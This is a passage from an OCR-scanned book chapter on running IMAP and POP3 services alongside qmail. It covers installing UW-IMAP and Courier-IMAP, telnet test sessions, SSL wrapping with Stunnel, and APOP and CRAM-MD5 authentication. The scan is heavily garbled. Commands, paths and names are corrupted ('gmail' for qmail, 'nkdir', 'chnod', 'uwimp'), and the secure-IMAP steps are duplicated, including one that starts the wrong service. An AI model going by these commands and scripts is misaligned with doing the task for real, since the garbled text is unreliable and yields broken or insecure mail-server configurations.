#i ncl ude <ti ne. h>

in filesthat generate that error. Thefile osdep.c isaspecia case becauseit's generated from src/osdep/unix/os
target.c, where target isthe same asthe make target. For example, in this case, thefileto editis
src/osdep/unix/os_dx.c.

The other filesare in the c-client subdirectory and can be edited in place.

6.
Ingtal the imapd binary. The UW-IMAP package includes POP2 and POP3 servers, aswell astheIMAP
server, but most gmail installations use gmail-pop3d instead of the UW POP3 server, and POP2 is obsolete.
Dothis
$ su
Password: root password
# umask 022
# cp imapd/i mapd /usr/local/sbin
#
7.
Create the /var/gmail/supervise/uw-imap directory and the log subdirectory:
# nkdir -p /var/qgmail/supervise/uwimp/log
#
8.
Creste the /var/gmail/supervise/uw-imap/run script:
#1/ bin/ sh

MAXI MAP=' head -1 /var/qmail/control/concurrencyi map'
exec /usr/local/bin/tcpserver -R -H -x /etc/tcp.imp.cdb -c "$MAXI MAP" \
0 143 /usr/local /sbin/impd 2>&1



Note
concurrencyimap isanonstandard
control file. Only the previous
uw-imap/run script usesit. Thefirst
line of thefile should contain anumber,
which isthe maximum number of
smultaneous IMAP sessions that
tcpserver dlows.

Create the /var/gmail/supervise/uw-imap/log/run script containing this:

#!/ bi n/ sh
exec /usr/local/bin/setuidgid gmaill /usr/local/bin/multilog t \
[var/ 1 og/ uwi map

10.

Create /lvar/gmail/control/concurrencyimap, in this example, limiting s multaneous |MAP connectionsto 20:

# echo 20 > /var/qgmail/control/concurrencyi map

11.

Create the IMAP access database. The file /etc/tcp.imap is the human-readable version of the IMAP access
database. It's analogous to the SM TP access database in /etc/tcp.smtp set up in Chapter 2, "Ingdlinggmal .
The tcprules command is used to convert the human-readable version into a machine-readable version,
/etc/tep.imap.cdb. For example, to restrict access to hosts on the local network, 192.168.x.x, and the local
host, you would creste /etc/tcp.imap, using your text editor, containing this:

192.168.:al |l ow
127.:al | ow
: deny

12.

Set up the log directory and permissions on the run scripts, and link the service into /service:

# chnmod +t /var/gnail/supervise/ uwi map
nkdi r /var/l og/ uwi map
chown gnmaill /var/| og/ uwi map
chnmod 755 /var/ qmail / supervi se/ uwi nap/ run
chnod 755 /var/qmail /supervise/ uwimap/| og/run
In -s /var/qmail/supervise/uwimp /service

HoHHHFHH

13.

Add thefollowing to gmailctl's start section:



if svok /service/uwimp ; then
svc -u /service/uwimap
el se
echo uwi map service not running
fi

14.

Add the following to gmailctl's stop section:

echo " uw i map"
svc -d /servicel/ uwimp

15.

Add the following to gmailctl's stat section:

svstat /service/uwimap
svstat /service/uwinmap/log

16.

Add the following to gmailctl's pause section:

echo "Pausing uw i map"
svc -p /service/uwimap

17.

Add the following to gmailctl's cont section:

echo "Continui ng uw i map"
svc -c /servicel/ uwimp

18.

Add thefollowing to gmailctl's restart section:

echo "* Restarting uwimp."
svc -t /servicel/ uwimp

19.

Add thefollowing to gmailctl's cdb section:

tcprules /etc/tcp.imap.cdb /etc/tcp.imap.tnp < /etc/tcp.imp
chnod 644 /etc/tcp.imp. cdb
echo "Rel oaded /etc/tcp.imp."

20.

Build /etc/tep.imap.cdb:



# gmailctl cdb

Rel oaded /etc/tcp. sntp.
Rel oaded /etc/tcp. pop3.
Rel oaded /etc/tcp.i map.

#

Testing the UW-IMAP Service

At this point, your IMAP service should be up and running. Y ou can test it by connecting to the IMAP port on the
loca system and logging in asanormd mail user:

10
11
12
13
14
15
16
17
18
19
20
21
22

$ telnet 0 143

Trying 0.0.0.0.

Connected to O.

Escape character is '*]"'.

* OK [ CAPABI LI TY | MAP4 | MAPAREV1 LOd N- REFERRALS AUTH=LOA N

| ocal host. | ocal donmai n | MAP4revl 2000. 287 at Sun, 17 Jun 2001 13:31:02 -0400
( EDT)

al login dave flubgart

* CAPABI LI TY | MAP4 | MAP4AREV1 NAMESPACE | DLE MAI LBOX- REFERRALS SCAN SORT
THREAD=REFERENCES THREAD=ORDEREDSUBJECT MJLTI APPEND

al OK LOG N conpl eted

a2 sel ect | NBOX

* 6 EXISTS

* 0 RECENT

* OK [U DVALIDITY 992799110] U D validity status

* OK [ U DNEXT 992799117] Predicted next UD

* FLAGS (\ Answered \Flagged \Del eted \Draft \Seen)
* OK [ PERMANENTFLAGS ()] Pernmanent fl ags

* OK [UNSEEN 5] first unseen nmessage in | NBOX

a2 K [ READ- WRI TE] SELECT conpl et ed

a3 | ogout

* BYE dol phi n. exanpl e. com | MAP4r evl server term nating connection
a3 OK LOGOUT conpl et ed

Connection closed by foreign host.

$

Line 1 isthe telnet command used to connect to the IMAP service. The O (zero) refersto the locd hogt, and 143 is
the IMAP port number.

Line 2 showstelnet trying to connect.

Line 3 showsthat the connection was established.

Line 4 istelnet reminding the user that they can "escape” to the telnet prompt by holding the Control key and pressing
theright square bracket key (]).

Line5 isthe banner message from UW-IMAP.



Lines 6 though 8 are the authentication exchange.

Lines 9 though 17 show the user using the IMAP SELECT command to display alist of messages availablein the
in-box, followed by UW-IMAP's response, which indicates that the in-box contains five messages.

Lines 18 through 20 show the user ending the IMAP session.
Line 21 istelnet reporting that UW-IMAP closed the connection.

The next step isto test the service remotely using an IMAP-enabled MUA.
Using Courier-IMAP

Courier-IMAP isthe IMAP component of the Courier mail system. Like gmail-pop3d, Courier-IMAP supports only
maildir-format mailboxes. Compared to UW-IMAP, Courier-IMAP issmaller and lighter. Becauseits maildir
support is built-in, rather than patched-in like UW-IMAPs, it's recommended for sitesthat prefer usng maildir
mailboxes.

More information on Courier-IMAP is available on the Web (http:/Awww.inter7.com/courierimap/).

Installing Courier-IMAP

Courier-IMAP has no additiond requirements beyond those necessary for building and ingtalling gmail:
1.

Download the Courier-IMAP tarball. At the time of thiswriting, 1.3.8.2 isthe latest Courier-IMAP release.
For example, using the lynx Web browser:

$ lynx -dunp \
htt p://downl oad. sourceforge. net/courier/courier-imap-1.3.8.2.tar.gz >\
courier-imap-1.3.8.2.tar.gz

vV Vv

»

Unpack the tarball and moveto the build directory:

$ zcat courier-imap-1.3.8.2.tar.gz | tar xf -
cd courier-imap-1.3.8.2

&+ &+


http://www.inter7.com/courierimap/
http://www.inter7.com/courierimap/
http://download.sourceforge.net/courier/courier-imap-1.3.8.2.tar.gz 

Configure Courier-IMAP for building:

$ ./configure
...lots of output ending with sonething like:
creating imapd. cnf
creating pop3d. cnf
creating config.h

$

Compile Courier-IMAP:

$ make
...lots of output ending with sonething like:
cp i map/ pop3d. cnf
cp -f ./maildir/quotawarnnsg quotawar nnsg. exanpl e
make[ 1] : Leaving directory '/usr/local/src/courier-imp-1.3.8.2
$ make check
...lots of output ending with sonething like:
rm-f /usr/local/src/courier-imp-1.3.8.2/=install-check/usr/lib/courier-inmap/bin
/couriertls
make[ 2] : Leaving directory '/usr/local/src/courier-imp-1.3.8.2
make[ 1]: Leaving directory '/usr/local/src/courier-imp-1.3.8.2
$

Ingal the binaries and configuration files:

$ su

Password: rootpassword # nmake install
...lots of output ending with sonething like:
Do not forget to run nake install-configure
make[ 2] : Leaving directory '/usr/local/src/courier-imp-1.3.8.2
make[ 1]: Leaving directory '/usr/local/src/courier-imp-1.3.8.2
# make install-configure
...lots of output ending with sonmething |ike:

version: new

aut hdaenonvar: new
make[ 1]: Leaving directory '/usr/local/src/courier-imp-1.3.8.2
#

Check the configuration filesin /us/lib/courier-imapletc. For example, if imapd enables authuserdb, either
directly or through authdaemonrc, and you don't want to use Courier-IMAPSsvirtual mailboxes, you would
remove authuserdb from the AUTHMODULES linein imapd or the authmodulelist in authdaemonrc. If the
authpam module is enabled, you might have to adjust the imap or pop3 configuration filesin /etc/pam.d. See
the INSTALL filefor more details.

Add the following command to the start section of gmailctl:



fusr/lib/courier-imp/libexec/impd.rc start

Add the following command to the stop section of gmailctl:

/usr/lib/courier-imp/libexec/impd.rc stop

Manudly run the Courier-IMAP start script:

# lusr/lib/courier-inmap/libexec/impd.rc start

Testing the Courier-IMAP Service

At this point, your IMAP service should be up and running. Y ou can test it by connecting to the IMAP port on the
local system and logging in asanormd mail user:

1 $ telnet 0 143

2 Trying 0.0.0.0.

3 Connected to O.

4 Escape character is '""]'.

5 * OK Courier-1MAP ready. Copyright 1998-2001 Doubl e Precision, Inc. See
COPYING for distribution information.

al | ogin dave flubgart

al OK LOE N k.

a2 sel ect | NBOX

* FLAGS (\ Answered \Fl agged \Del eted \ Seen \ Recent)

* OK [ PERMANENTFLAGS (\ Answered \Fl agged \Del eted \ Seen)] Linited
* 6 EXISTS

* 0 RECENT

* OK [U DVALI DI TY 993125313] Gk

a2 OK [ READ-WRI TE]

a3 | ogout

* BYE Courier-|MAP server shutting down

a3 K LOGOUT conpl et ed

Connection closed by foreign host.

6
7
8
9
10
11
12
13
14
15
16
17
18
19 $

Line 1 isthe telnet command used to connect to the IMAP service. The O (zero) refersto the locd host, and 143 is
the IMAP port number.

Line 2 showstelnet trying to connect.

Line 3 showsthat the connection was established.



Line 4 istelnet reminding the user that they can "escape” to the telnet prompt by holding the Control key and pressing
the right square bracket key (]).

Line 5 isthe banner message from Courier-IMAP.

Lines6 and 7 are the authentication exchange.

Lines 8 though 14 show the user using the IMAP SELECT command to display alist of messages availablein the
in-box, followed by Courier-IMAP's response, which indicates that the in-box contains Sx messages.

Lines 15 through 17 show the user ending the IMAP session.

Line 18 istelnet reporting that Courier-IMAP closed the connection.

The next step isto test the service remotely using an IMAP-enabled MUA.
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Securing POP3

Like SMTP, POP3 is unencrypted. Unlike SM TP, however, it requires authentication: Users have to identify
themsalves and prove they're who they claim to be. Unfortunatdly, the authentication usualy conssts of presenting a
username and a password known only to the user and the POP3 server. Because the POP3 dialogue is unencrypted,
an eavesdropper can obtain auser's username and password and reuse them to access the user's mailbox. So, plain
POP3 exposes the contents of the mail messages the user retrieves, and it exposes their username and password,
which can then be reused by someone else.

Wrapping the POP3 dial ogue with transport-layer security such as SSL solves both of these problems. Because
SSL-wrapped POP3 sessions are encrypted from beginning to end, no messages, usernames, or passwords are
exposed in clear text.

The optional POP3 command, APOP, replaces the standard USER/PA SS authentication with a challenge/response
authenti cation mechanism. This solves the problem of the disclosure of reusable passwords, but does nothing to
prevent eavesdroppers from reading user's mail messages asthey're retrieved.

Wrapping POP3 with SSL

Aswith SSL-wrapped SMTP (see Chapter 7, "Configuring gmail: Advanced Options'), thefirst sepistoingal an
SSL wrapper utility such as Stunnel or SSLWrap. See Chapter 7 for pointersto these utilities and ingtructions for
ingdling Stunndl.

Setting Up an SSL-Wrapped gmail-pop3d Service

With gmail, daemontools, and Stunnel installed, and a gmail-pop3d service configured, you can set up an
SSL-wrapped POP3 service. See " Indaling gmail-pop3d™ earlier in this chapter for help on setting up a
gmail-pop3d service.

Tip
Stunnel can aso be used asaproxy for
an existing POP3 service, which will
work with any POP3 service,
regardless of the server. Thismethod is
demondrated in the " Proxy-Wrapping
an IMAP Service" section later inthis
chapter. It's readily adaptable to other
services such as POP3 and SMTP.




Create /var/gmail/supervise directories for the new service:

# nkdir -p /var/gnmail/supervise/ pop3sd/| og
# chnmod +t /var/gnmail/ supervise/ pop3sd
#

Create /var/gmail/supervise/pop3sd/run containing this:

#!'/ bi n/ sh
MAXPOP3SD=' head -1 /var/qgnail/control/concurrencypop3s’
exec /usr/local/bin/softlimt -m 3000000 \
/usr/local/bin/tcpserver -v -R-H -1 0 -x /etc/tcp.pop3s.cdb -c "$MAXPOP3SD' \
0 995 /usr/local/sbin/stunnel -f -p /usr/local/etc/stunnel.pem\
-1 /var/gmail /bin/ gmail -popup grai | - popup FQDN / bi n/ checkpassword \
/var/qmail/bin/qgmail-pop3d Muildir 2>&1

This script ismodeled after the /var/gmail/supervise/gmail-pop3d/run script from " Ingtaling gmail-pop3d.” The
changes have been highlighted in bold.

Thefirgt changeisto use anew nonstandard control file, concurrencypop3s, to limit the number of smultaneous
secure POP3 connections.

The second changeisto raise the memory limit from 2000000 to 3000000. Adding the stunndl process and the SSL
encryption code requires more memory. On some platforms, you might haveto raise the limit even higher.

The third change isto specify anew access control database for secure POP3 connections: /etc/tcp.pop3s.cdb.

The next change isto use port 995 instead of 110 (POP3). Port 995, also known as pop3s, is the standard port for
secure POP3.

The last changeisto replace the gmail-popup invocation with astunnd invocation that runs gmail-popup. The sunndl
commeand arguments are asfollows.

-f kegps sunndl in the foreground, which supervise requires.

-p /usr/local/etc/stunnel .pem specifies the location of the server's Privacy Enhanced Mail (PEM) key.

-I ivar/gmail/bin/gmail-popup tells sunnd to run gmail-popup to handle the protocol dialogue.



-tells stunndl that the remaining command-line arguments are the name of the program being run,
gmail-popup, and the arguments for that program.

3.
Create var/gmail/supervise/pop3sd/log/run containing this:
#!'/ bi n/ sh
exec /usr/local/bin/setuidgid gmaill /usr/local/bin/mltilog \

t /var/log/qmail/pop3sd
4.

Create /var/gmail/control/concurrencypop3s, in this example, limiting S multaneous secure POP3 connections
to 20

# echo 20 > /var/qmail/control/concurrencypop3s

Create the secure POP3 access database. The file /etc/tcp.pop3sis the human-readable version of the
access database. It's analogous to the SM TP access database in /etc/tcp.smtp set up in Chapter 2, "Indalling
gmail." Thetcprules command is used to convert the human-readable version into amachine-readable
version, /etc/tep.pop3s.cdb. For example, to restrict accessto hosts on the local network, 192.168.x.x, and
theloca hogt, you would create /etc/tcp.imap, using your text editor, containing this:

192. 168.:al | ow
127.:al |l ow
. deny

6.

Set the permissions on the run scripts and create the log directory:

# chnod 755 /var/ qmail / supervi se/ pop3sd/run
# chnod 755 /var/ qmai |l / supervi se/ pop3sd/ | og/ run
# nkdir /var/log/ qnail/pop3sd
# chown gnmaill /var/| og/ qmail/ pop3sd
#

Link the serviceto /service:

# 1n -s /var/gnmail/supervise/ pop3sd /service

Add thefollowing to gmailctl's start section:



i f svok /service/pop3sd ; then
svc -u /service/pop3sd
el se
echo pop3sd supervi se not running
f

Add the following to gmailctl's stop section:

echo " pop3sd"
svc -d /service/pop3sd

10.

Add the following to gmailctl's stat section:

svstat /service/pop3sd
svstat /service/pop3sd/|og

11.

Add the following to gmailctl's pause section:

echo "Pausi ng pop3sd"
svc -p /service/pop3sd

12.

Add the following to gmailctl's cont section:

echo "Conti nui ng pop3sd”
svc -c /service/pop3sd

13.

Add thefollowing to gmailctl's restart section:

echo "* Restarting pop3sd.”
svc -t /service/pop3sd

14.

Add thefollowing to gmailctl's cdb section:

tcprules /etc/tcp. pop3s.cdb /etc/tcp. pop3s.tnp < /etc/tcp. pop3s
chnod 644 /etc/tcp. pop3s.cdb
echo "Rel oaded /etc/tcp. pop3s.”

15.



Build /etc/tcp.pop3s.cdb:

# gmailctl cdb
Rel oaded /etc/tcp.smp
Rel oaded /etc/tcp. pop3.
Rel oaded /etc/tcp. pop3s.

#

16.

Verify that the serviceisrunning:

# svstat /servicel/ pop3sd
/ service/ pop3sd: up (pid 22355) 8 seconds
# telnet 0 995
Trying 0.0.0.0.
Connected to O.
Escape character is '"]'.

j unk
j unk
Connection closed by foreign host.
#
17.
Test the secure POP3 service using acompatible MUA. For example, using fetchmail, with a
SHOME/ fetchmailrc containing this:
pol | dol phin proto pop3 no dns
user doug with password Adniral is doug here
fetchal l
nda "/var/qmail/bin/gmail-inject doug"
should result in something likethis:
$ fetchmail -v ssl
fetchmail: 5.7.4 querying dol phin (protocol POP3) at Sun 29 Jul 2001 08:05:11 PM
EDT
fetchmail: Issuer Organization: Exanple, Inc
fetchmail: |ssuer ConmonNanme: dol phin. exanpl e. com
fetchmail: Server ConmonName: dol phin
fetchmail: Issuer Organization: Exanple, Inc
fetchmail: |ssuer ConmonName: dol phin. exanpl e. com
fetchmail: Server ConmonName: dol phin
fetchmail: POP3< +OK <22376.996451531@lol phi n. exanpl e. conp
fetchmail: POP3> CAPA
fetchmail: POP3< -ERR authorization first
fetchrmail: authorization first
fetchmail: POP3> USER *
fetchmail: POP3< +OK
fetchmail: POP3> PASS *
fetchmail: POP3< +OK
fetchmail: POP3> STAT
fetchmail: POP3< +OK 0 O
fetchmail: No mail for test at dol phin.exanmple.com
fetchmail: POP3> QU T



fetchmail: POP3< +OK
fetchmmil: nornmal termination, status 1
$

Asyou can see from the verbose output, the session is successfully established using SSL.

Using APOP Authentication

If your primary security concern is preventing the use of reusable passwords, APOP authentication might be the way
to go. It'seasier to set up than SSL-wrapped POP3 mostly because no certificates are involved. Unfortunatdly,
APOP requiresthe server to store the POP passwords somewhere on the server. Thefile or files that store these
passwords must be carefully protected.

Enabling APOP with agmail-pop3d service is asmple matter of replacing checkpasswvord with an APOP-enabled
implementation. One APOP-ready checkpassword replacement is checkpw, which is available from the Web (
http://Aww.geocities.co.jp/SiliconVadley/4777/gmail/checkpw/index.html).

Caution
If you're dready using anonstandard
checkpassword such as one of the ones
induded with VMailMgr and
Vpopmail, replacing checkpassword
will probably break something. One
way to use different checkpassword
programson asingle host isto set up
separate Internet Protocol (1P)
addresses, vialP diasing or additiona
network interfaces, and configure
tcpserver inthe run scriptsto only
listen on certain | P addresses.

Enabling APOP with a POP3 Service

Y ou can enable APOP once you have gmail and daemontoolsinstalled, and agmail-pop3d service configured. See ™
Installing gmail-pop3d" earlier in this chapter for help setting up agmail-pop3d service. Follow these steps:

1.

Using your Web browser or acommand-line Web utility like wget, download the checkpw source tarbal. At
thetime of thiswriting, the current rlease is 0.80. For example, using the wget utility, do this:

$ wget http://ww. geocities.co.jp/SiliconValley/4777/qgmail/checkpw \

> checkpw0.80.tar. gz
--21:24:49-- http://ww. geocities.co.jp/SiliconValley/ 4777/ qmail/checkpw checkpw
-0.80.tar.gz
=> 'checkpw 0. 80.tar. gz’
Connecting to www. geocities.co.jp:80... connected!


http://www.geocities.co.jp/SiliconValley/4777/qmail/checkpw/index.html
http://www.geocities.co.jp/SiliconValley/4777/qmail/checkpw/index.html
http://www.geocities.co.jp/SiliconValley/4777/qmail/checkpw/\
http://www.geocities.co.jp/SiliconValley/4777/qmail/checkpw/checkpw

HTTP request sent, awaiting response... 200 K
Length: 28,392 [application/x-tar]
OK -> [ 1009

21:25:09 (1.68 KB/s) - 'checkpw 0.80.tar.gz' saved [28392/28392]

$

Unpack thetarbal:

$ gunzi p checkpw0.80.tar.gz
$ tar xf checkpw0.80.tar
$ cd checkpw 0. 80
$

Build thebinaries

$ make
(cat warn-auto.sh; \
echo 'mai n="$1"; shift'; \
echo exec "'head -1 conf-1d" " \
...lots of output, ending with sonething I|ike:
./load install hier.o auto_hone.o unix.a byte.a
./ conmpil e instcheck.c
./load instcheck hier.o auto_home.o unix.a byte.a
$

Ingtall the programs.

$ su
Password: rootpassword
# make setup check
./install
./instcheck
#

Install APOP passwords. checkpw stores APOP passwordsin plain text in afile called .password in the
POP3 maildir. The .password files must not be readable by anyone other than the owner of the maildir.
For example, as a POP3 user on system using $HOME/Maildir for the POP3 maildir:

$ echo P4sswOrd > $HOVE/ Mai | di r/. password
$ chnod 600 $HOVE/ Mai | di r/ . password
$

Modify the gmail-pop3d startup command, which is usualy located in /service/gmail-pop3d/run. Replace the



checkpassword invocation with a checkapoppw invocation. For example:

#!'/ bi n/ sh
MAXPOP3D=' head -1 /var/gmail/control/concurrencypop3'
exec /usr/local/bin/softlint -m 2000000 \
/usr/local/bin/tcpserver -v -R-H -1 0 -x /etc/tcp.pop3.cdb -c "$MAXPOP3D' \
0 110 /var/gmail/bin/ gmail -popup FCQDN /bi n/ checkapoppw \
/ bin/1oginlog \
/var/qmail/bin/gmail -pop3d Mildir 2>&1

Restart the gmail-pop3d service. For example:

# svc -t /service/qgnail-pop3d

Test the APOP authentication using acompatible MUA.. For example, using getmail with a
FHOME/ .getmail/getmailrc containing this:

[defaul t]
[ Test]
server =
usernanme = naryj ane
passwor d RudOl ph
postrmaster = ~/ Maildir/
use_apop =1

dol phi n. exanpl e. com

should result in output like this:

$ getmai |

getmail v.2.1.3 - POP3 mail retriever with reliable Miildir and nmbox delivery.
(Conf Parser version 2.0) (timeoutsocket version 1.12)

Copyright (C) 2001 Charles Cazabon <getmail @di scworld. dyndns. org>
Li censed under the GNU General Public License version 2. See the file
COPYI NG for details.
dol phi n. exanpl e.com POP3 session initiated on port 110 for "maryjane"
dol phi n. exanpl e.com POP3 greeting: +0K <25505.997638074@lol phi n. exanpl e. cone
dol phi n. exanpl e. com POP3 APOP response: +OK
dol phi n. exanpl e.com POP3 |ist response: +K

msg #1 : len 302 ... retrieved ... delivered to postmaster ... deleted
dol phi n. exanpl e.com finished retrieving nmessages
dol phi n. exanpl e.com POP3 session conpleted for "maryjane"
dol phi n. exanpl e.com retrieved O nmessages for O | ocal recipients
$

Asyou can see from the verbose output, authentication using APOP is successful.
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Securing IMAP

IMAP traffic is unencrypted, and like POP3, the protocol requires authentication: Users must identify themselves and
prove their identity. IMAP's default authentication, like POP3's, is username/password-based. IMAP can be secured
much like POP3: by wrapping the entire dialogue in SSL or using a challenge/response authentication mechanism
cdled CRAM-MD?5 (Chalenge-Response Authentication Mechanism using Message Digest algorithm 5). However,
IMAP has dso been extended with a STARTTL S command that can be used to enable transport layer security
(TLS) after connecting to the normal, unsecured IMAP service.

Courier-IMAP includes support for al three of these mechanisms. SSL wrapping, STARTTLS, and CRAM-MD5.

Which of these methods you usg, if any, depends on your needs and the security mechanismsimplemented in the
MUASs you support.

Wrapping IMAP with SSL

Courier-IMAP will automaticaly include support for SSL wrapping and STARTTLSIf it findsthe SSL includefiles
and libraries during the build process.

Alternatively, an add-on SSL wrapper can be used to proxy any IMAP service. Connectionsto port 993, the secure
IMAP port, are accepted by the SSL wrapper, which in turn opens connections to port 143, the non-secure IMAP
port. The SSL wrapper acts as a go-between between the MUASs and the non-secure IMAP service.

Enabling Courier-IMAP's SSL Wrapper

If you'veingtaled Courier-IMAP on your system, and the SSL libraries and include files were located by the
compiler during the build, the program /ust/lib/courier-imap/bin/couriertls should have been creeted. If thisfile doesn't
exist, you'll need to rebuild Courier-IMAP, specifying the location of your SSL libraries and includefiles. Seethe
INSTALL filefor details.

If the couriertls program was created, you can enable the SSL-wrapped IMAP service:
1.

Edit /usr/lib/courier-imap/etc/imapd-sd, locate the following settings, and adjust them accordingly:

| MAPDSSL START=YES
| MAPDSTARTTLS=NO
TLS CERTFI LE=/var/qmai | / control / servercert. pem



If you haven't already placed a server certificatein /var/gmail/control/servercert.pem, do that now. The
Jusr/lib/courier-imap/share/mkimapdcert script will create a salf-sgned certificate and placeit in
Just/lib/courier-imap/share/imapd.pem. Y ou can either move that to /var/gmail/control/servercert.pem or
returnthe TLS _CERTFILE setting to its default value in /usi/lib/courier-imap/etc/imapd-sd.

3.
Add the following to the start section of gmailctl:
fusr/lib/courier-imp/libexec/impd-ssl.rc start
4,
Add thefollowing to the stop section of gmailctl:
lfusr/lib/courier-imp/libexec/impd-ssl.rc stop
5.
Manually start the secure IMAP service:
# lusr/lib/courier-imp/libexec/imapd-ssl.rc start
#
6.

Use asecure IMAP capable MUA to test the service. For example, using fetchmail with the sd option:

$ fetchmail -v ssl
fetchmail: 5.7.4 querying nmash (protocol |IMAP) at Sun 12 Aug 2001 08:47:41 AM
EDT

fetchmail: |ssuer Organi zation: Exanple, Inc

fetchmail: |ssuer ConmonNane: dol phin. exanpl e.com
fetchmail: Server ConmonName: dol phin

fetchmail: |ssuer Organi zation: Exanple, Inc

fetchmail: |ssuer ConmonNane: dol phin. exanpl e.com
fetchmail: Server ConmonName: dol phin

fetchmail: | MAP< * OK Courier-IMAP ready. Copyright 1998-2001 Doubl e Preci sion,
Inc. See COPYING for distribution information

fetchmail: | MAP> A0O001 CAPABI LI TY

fetchmail: | MAP< * CAPABI LI TY | MAP4revl CHN LDREN NAMESPACE
THREAD=ORDEREDSUBJ ECT

THREAD=REFERENCES SORT AUTH=PLAI N
... remai nder of | MAP dial ogue

Asyou can see from the verbose output, the session is successfully established using SSL.

Proxy-Wrapping an IMAP Service



If you have an IMAP service running and Stunnel, ucspi-tcp, and daemontools are ingtalled, setting up a
proxy-wrapped secure IMAP sarviceis sraightforward:

1.

Create a/var/gmail/supervise/imapsd directory with alog subdirectory:

# nkdir -p /var/gnmail/supervise/impsd/| og

Create the /var/gmail/supervise/imapsd/run script:

#!'/ bi n/ sh
MAXI MAPSD=' head -1 /var/gnmail/control/concurrencyi maps'
exec /usr/local/bin/softlinmt -m 3000000 \
/usr/local/bin/tcpserver -v -R-H -1 0 -x /etc/tcp.imps.cdb -c "$MAXI MAPSD" \
0 993 /usr/local/sbin/stunnel -f -p /usr/local/etc/stunnel.pem)\
-r 143 2>&1

Note
concurrencyimaps isanonstandard
control file. Only the previous
imapsd/run script usesit. Thefirg line
of thefile should contain anumber,
which isthe maximum number of
smultaneous secure IMAP sessions
that tcpserver dlows.

Inthis case, stunnel istold to proxy the regular IMAP serviceusing r 143.

3.
Cregte the /var/gmail/superviselimapsd/log/run script:
#!'/ bi n/ sh
exec /usr/local/bin/setuidgid gnaill /usr/local/bin/multilog \

t /var/log/gmail/inmapds
4.

Create /var/gmail/control/concurrencyimaps, in this example, limiting Ssmultaneous secure IMAP connections
to 20:

# echo 20 > /var/qmuil/control/concurrencyi naps



Create the secure IMAP access database. Thefile /etc/tcp.imapsis the human-readable version of the IMAP
access database. It's analogous to the SM TP access database in /etc/tcp.smtp set up in Chapter 2, "Indalling
gmail." Thetcprules command is used to convert the human-readable version into amachine-readable
version, /etc/tcp.imaps.cdb. For example, to restrict accessto hosts on the local network, 192.168.x.x, and
theloca hogt, you would create /etc/tcp.imaps, using your text editor, containing:

192. 168.:al |l ow
127.:al |l ow
: deny

6.

Set up the log directory and permissions on the run scripts, and link the serviceinto /service:

# chnod +t /var/gnmail/ supervise/i maps
nkdir /var/log/gmail /i maps
chown gmaill /var/l|og/qmail/imps
chnod 755 /var/ qmail / supervi se/i naps/run
chnmod 755 /var/ qmail / supervi se/i maps/ | og/run
In -s /var/qgnail/supervisel/inmps /service

HHHHHFH

Add thefollowing to gmailctl's start section:

i f svok /servicel/imps ; then
svc -u /servicelinmps
el se
echo i maps supervi se not running
f

Add thefollowing to gmailctl's stop section:

echo " i maps"
svc -d /servicel/imps

0.

Add the following to gmailctl's stat section:

svstat /servicel/imaps
svstat /service/imps/|og

10.

Add thefollowing to gmailctl's sart section:

if svok /service/uwinmap ; then
svc -u /service/uwinmap



el se
echo uwi map service not running
f

11.

Add the following to gmailctl's stop section:

echo " imaps"
svc -d /servicelimps

12.

Add the following to gmailctl's stat section:

svstat /servicel/imaps
svstat /servicel/imps/|og

13.

Add the following to gmailctl's pause section:

echo "Pausing i maps"
svc -p /servicelimps

14.

Add the following to gmailctl's cont section:

echo "Conti nuing i maps”
svc -c /servicel/imps

15.

Add thefollowing to gmailctl's restart section:

echo "* Restarting imaps."
svc -t /servicel/imps

16.

Add thefollowing to gmailctl's cdb section:

tcprules /etc/tcp.imaps.cdb /etc/tcp.imaps.tnp < /etc/tcp.imps
chnod 644 /etc/tcp.imaps. cdb
echo "Rel oaded /etc/tcp.imps."

17.

Build /etc/tcp.imaps.cdb. For example:



# gmailctl cdb
Rel oaded /etc/tcp. sntp.
Rel oaded /etc/tcp.imap.
Rel oaded /etc/tcp.inmaps.
#

18.

Use asecure IMAP capable MUA to test the service. See step 6 in the " Enabling Courier-IMAP's SSL
Wrapper" section for an example.

Using CRAM-M D5 Authentication

Aswith APOP authentication, enabling CRAM-MD5 authentication is specific to the particular IMAP server being
used.

The Courier-IMAPINSTALL provides an overview of the procedure for enabling CRAM-MD5 authentication, but
it's very involved and recommended only for people who "are comfortable with, and fully understand how
Courier-IMAPworksin generd.”

With the UW-IMAP server, CRAM-MD5 support isingtal led automatically and enabled by setting up a
CRAM-MDS5 authentication database. The database is stored in /etc/cram-mdS.pwd and contains entriesin this
format:

user name<TAB>passwor d

For example, if user martha's IMAP password is StauntOn, her entry would look like this:

martha StauntOn

Because the CRAM-M D5 authentication database contains unencrypted passwords, it must be carefully protected.
It should be owned by root and readable only by the owner:

# chown root /etc/cram nd5. pwd
# chnod 400 /etc/cram nd5. pwd
#

Caution
When CRAM-MD5 authenticationis
enabled by the creation of the
authentication database, the IMAP
server will aso usethe CRAM-MD5
passwords for LOGIN authentication.



After ingtaling the authentication database, test CRAM-M D5 authenti cation using acompatible MUA. For example,
using fetchmail, after updating .fetch-mailrc with the CRAM-MD5 password, yieds something like this:

$ fetchmail -v

fetchmail: 5.7.4 querying mash (protocol |IMAP) at Sun 12 Aug 2001 11:13:47 AM EDT
fetchmail: I MAP< * OK [ CAPABILITY | MAP4 | MAPAREV1 LOG N- REFERRALS AUTH=CRAM NMD5
AUTH=LOG N] dol phi n. exanpl e. com | MAP4revl 2000. 287 at Sun, 12 Aug 2001 11:14:07 -
0400 (EDT)

fetchmail: | MAP> AO001 CAPABI LI TY

fetchmail: | MAP< * CAPABI LI TY | MAP4 | MAPAREV1 NAMESPACE | DLE MAI LBOX- REFERRALS

SCAN SORT THREAD=REFERENCES THREAD=CRDEREDSUBJECT MULTI APPEND LOG N- REFERRALS
AUTH=CRAM MD5 AUTH=LOG N

fetchmail: | MAP< A0001 OK CAPABI LITY conpl eted

fetchmail: | MAP> A0002 AUTHENTI CATE CRAM MD5

fetchmail: | MAP< + PDI OOTEW.j k5NzYyOTl ONOBt YXNoLnNpbGw+

fetchmail: | MAP> dGvzdCALN U3zj MAOTI 0Zj di Yj QMGFI YmNi MDexZniVbOTJj OQ==
fetchmail: | MAP< * CAPABI LI TY | MAP4 | MAPAREV1 NAMESPACE | DLE MAI LBOX- REFERRALS
SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MJLTI APPEND

fetchmail: | MAP< A0002 OK AUTHENTI CATE conpl et ed

...remai nder of | MAP session...

Asyou can see, authentication used CRAM-MD5 successfully.
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Retrieving Mail with POP3 and IMAP

Although POP and IMAP are usudly used by MUASsfor accessing user's mailboxes remotely, they're dso used to
